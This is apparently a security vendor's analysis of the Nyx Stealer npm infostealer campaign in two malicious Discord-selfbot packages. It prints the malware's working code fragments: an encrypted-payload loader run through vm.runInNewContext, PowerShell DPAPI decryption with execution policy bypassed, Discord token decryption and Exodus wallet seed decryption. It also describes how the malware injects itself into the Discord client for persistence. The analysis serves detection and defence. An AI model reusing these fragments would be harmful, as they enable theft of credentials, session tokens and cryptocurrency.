TL;DR
The Xygeni Security Research Team identified a sophisticated npm infostealer campaign delivered through two malicious packages: consolelofy and selfbot-lofy.
The latest version (consolelofy@1.3.0) embeds a 216KB AES-encrypted payload that decrypts at runtime and executes via vm.runInNewContext(). Because the malicious logic is fully encrypted, static scanners relying on string inspection cannot observe its behavior until execution time.
Once decrypted, the payload, internally branded Nyx Stealer, targets:
- Discord authentication tokens
- 50+ browser credential stores
- 90+ cryptocurrency wallet extensions
- Roblox, Instagram, Spotify, Steam, Telegram, and TikTok sessions
- Discord desktop client persistence
All 20 versions across both packages were reported and confirmed malicious.
Technical Overview of This npm Infostealer
Unlike traditional install-time malware, this campaign relies on a runtime decryption model.
There are:
- No malicious
preinstallorpostinstallhooks - No obvious install-time network calls
- No plaintext credential harvesting logic
The payload activates when the module is imported. The entire malicious body is encrypted and only materializes in memory at runtime.
This design specifically avoids detection during package installation.
How This npm Infostealer Actually Executes
Before analyzing what Nyx Stealer steals, we need to understand how it executes.
The malicious logic inside this npm infostealer follows a consistent pattern:
A small loader decrypts a large encrypted payload and executes it dynamically inside a Node.js VM context.
This design is deliberate. The attacker is not hiding functionality behind obfuscation alone, they are removing the malicious code from static visibility entirely.
At a high level, the wrapper does four things:
- Derives an AES key from a hardcoded passphrase using SHA-256
- Decrypts a large hex-encoded ciphertext using AES-256-CBC
- Executes the decrypted JavaScript using
vm.runInNewContext() - Provides a sandbox that still exposes powerful runtime primitives
Core Technique Summary
High-Level Execution Model
| Component | Configuration / Value |
|---|---|
| Algorithm | AES-256-CBC |
| Key Derivation | SHA-256(passphrase) |
| Initialization Vector (IV) | 16 bytes of 0x00 |
| Execution | vm.runInNewContext(decrypted, sandbox) |
Critically, the sandbox passes through:
requireprocessBuffer- timers
- module exports
This means the decrypted payload retains full capability to:
- Spawn processes
- Read and write files
- Make network calls
- Modify local applications
This is not a restricted VM. It is a VM used as an execution trampoline.
Runtime Encryption Pattern (Core Execution Mechanism)
The loader is small.
The malicious body is not.
Below is the execution pattern found inside the package:
const crypto = require('crypto');
const vm = require('vm');
function decryptAndExecute(encryptedHex, passphrase) {
const key = crypto.createHash('sha256')
.update(passphrase)
.digest();
const iv = Buffer.alloc(16, 0);
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');
decrypted += decipher.final('utf8');
const sandbox = {
require,
module,
exports,
console,
process,
Buffer,
__dirname,
__filename,
setTimeout,
setInterval,
clearTimeout,
clearInterval
};
vm.runInNewContext(decrypted, sandbox);
}
Why This Matters
The decrypted payload:
- Does not exist in plaintext inside the npm package
- Is invisible to simple grep or static string scanning
- Only materializes in memory at runtime
- Executes with full Node runtime capabilities
This AES + VM execution combination is a strong behavioral indicator of an npm infostealer attempting to evade static inspection.
In other words:
- If you scan the package source tree, you do not see a stealer.
- You see a decryptor.
What Happens After Decryption
Once executed, Nyx Stealer launches parallel data collection waves.
Wave 1: Browser Credential Extraction
The malware:
- Downloads a Python runtime from NuGet CDN
- Installs cryptographic libraries
- Extracts Chromium-based credential stores
- Decrypts DPAPI-protected secrets
Instead of compiling native bindings, it leverages PowerShell to call Windows DPAPI directly.
function dpapiUnprotectWithPowerShell(dataBuf) {
const b64 = dataBuf.toString('base64');
const ps =
"Add-Type -AssemblyName System.Security;" +
"$b=[Convert]::FromBase64String('" + b64 + "');" +
"$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +
"$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +
"[Console]::Out.Write([Convert]::ToBase64String($p))";
const cmd =
`powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;
return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64');
}
This approach:
- Avoids compilation artifacts
- Uses native Windows crypto APIs
- Blends into administrative tooling
It is OS-level credential decryption, not scraping.
Wave 2: Discord Token Decryption
The stealer is protocol-aware. It understands Discord’s encrypted token format.
function decryptToken(encryptedToken, key) {
const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');
const encryptedData = Buffer.from(tokenParts[1], 'base64');
const iv = encryptedData.slice(3, 15);
const ciphertext = encryptedData.slice(15, -16);
const tag = encryptedData.slice(-16);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return decipher.update(ciphertext).toString('utf8');
}
Operational flow:
- Extract master key from Discord’s Local State
- Decrypt master key via DPAPI
- Decrypt AES-GCM token blobs
- Validate tokens against Discord API
- Enrich with Nitro, badges, billing info
This is not generic credential dumping. It is protocol-aware session hijacking.
If successful, wallet compromise is immediate and irreversible.
This represents the campaign’s highest-value monetization vector.
Persistence via Discord Desktop Injection
After harvesting credentials, Nyx Stealer attempts persistence by modifying the local Discord client.
Target:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js
Operational Sequence
The infostealer performs the following steps:
- Terminates running Discord processes
- Locates installed Discord variants (Stable, Canary, PTB)
- Overwrites
discord_desktop_core/index.js - Injects attacker-controlled webhook logic
- Restarts Discord
This ensures that future Discord sessions automatically leak fresh authentication tokens.
Importantly, this persistence does not rely on scheduled tasks or registry modifications. It leverages application-level code modification, a stealthier approach.
Even if the malicious npm package is later removed, the Discord client remains compromised.
Technical Comparison: Legitimate Selfbot vs npm Infostealer
| Component | Legitimate Library | Nyx npm Infostealer |
|---|---|---|
| Encryption | None | Full AES-encrypted payload |
| Runtime VM | Not required |
vm.runInNewContext execution |
| Credential Access | Discord API only | Browser, wallets, DPAPI |
| External Downloads | No | Python runtime via NuGet |
| Persistence | No | Discord client injection |
| Monetization | Bot automation | Credential resale |
Wave 3: Cryptocurrency Wallet Targeting
The npm infostealer enumerates:
- 90+ browser wallet extensions
- 27 desktop wallets
- Cold wallet paths
- Exodus seed files
Example seed decryption attempt:
function decryptSeco(content, password) {
const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');
const decipher = crypto.createDecipheriv(
'aes-256-gcm',
key,
content.slice(0, 12)
);
decipher.setAuthTag(content.slice(-16));
return Buffer.concat([
decipher.update(content.slice(12, -16)),
decipher.final()
]).toString('utf8');
}
The encryption layer alone already separates this campaign from a typical open-source fork.
A legitimate Discord selfbot has no reason to encrypt its entire codebase, spawn PowerShell to access DPAPI, download external runtimes, or modify desktop application internals. When those capabilities appear inside a dependency that claims to automate Discord interactions, the architectural mismatch becomes impossible to ignore.
From an investigation standpoint, this npm infostealer leaves traces across multiple layers. However, the most reliable indicators are not hardcoded URLs or specific file paths, since those can change between versions. Instead, the durable signals are structural.
At the package level, the strongest red flag is the combination of a large encrypted payload and a runtime decryption wrapper that immediately executes via vm.runInNewContext(). While encryption alone is not inherently malicious, using AES decryption followed by dynamic VM execution inside a Discord utility package is highly anomalous.
At the host level, suspicious patterns include unexpected DPAPI decryption activity, process spawning from a Node.js dependency context, and modification of local application files that should never be altered by third-party libraries. Likewise, at the network layer, outbound webhook-style communication initiated by a development dependency represents another meaningful anomaly.
In other words, the detection surface is not a single indicator of compromise. It is the correlation of encryption, runtime execution, credential access, and persistence behavior that reveals the threat.
Detection and Mitigation with Xygeni
npm Infostealer
This npm infostealer was identified by Xygeni’s Malware Early Warning (MEW) through layered behavioral correlation rather than simple signature matching.
Instead of searching for known malicious strings, MEW evaluates structural anomalies across the full source tree. In this case, detection emerged from the convergence of several signals: an embedded AES decryption routine in the module entry point, immediate execution inside a VM context, and a clear capability-to-intent mismatch.
Importantly, none of these signals alone prove malicious intent. However, when analyzed together, they expose an attempt to conceal runtime behavior. This layered approach significantly reduces false positives while identifying high-confidence supply chain threats.
Furthermore, this case illustrates why install-time inspection alone is insufficient. The malicious logic does not reside in lifecycle scripts. It activates only after the module loads and only becomes visible once decrypted in memory. Therefore, effective defense requires encryption-aware analysis, behavioral pattern recognition, and continuous dependency monitoring beyond installation events.
Registry takedown is reactive. Runtime-aware analysis is preventative.
Why This npm Infostealer Matters
Nyx Stealer represents a structural evolution in npm-based malware.
Historically, many malicious packages relied on visible install-time scripts or obvious credential exfiltration endpoints. By contrast, this campaign encrypts its payload, defers execution to runtime, leverages legitimate operating system APIs, and establishes persistence inside trusted applications.
Consequently, the attacker does not need to exploit npm infrastructure itself. Instead, the attack succeeds because dependency installation implies trust. Developers assume that importing a library is a safe operation, particularly when it presents itself as a plausible fork of a popular tool.
As ecosystems continue to grow and forks proliferate, that implicit trust boundary becomes an increasingly attractive attack surface. Therefore, defending against modern npm infostealers requires recognizing architectural patterns rather than searching for static strings.
Ultimately, this campaign reinforces a critical lesson in software supply chain security: the most dangerous threats are not the ones that look malicious at first glance, but the ones that appear structurally legitimate until runtime reveals their true behavior.
Top comments (0)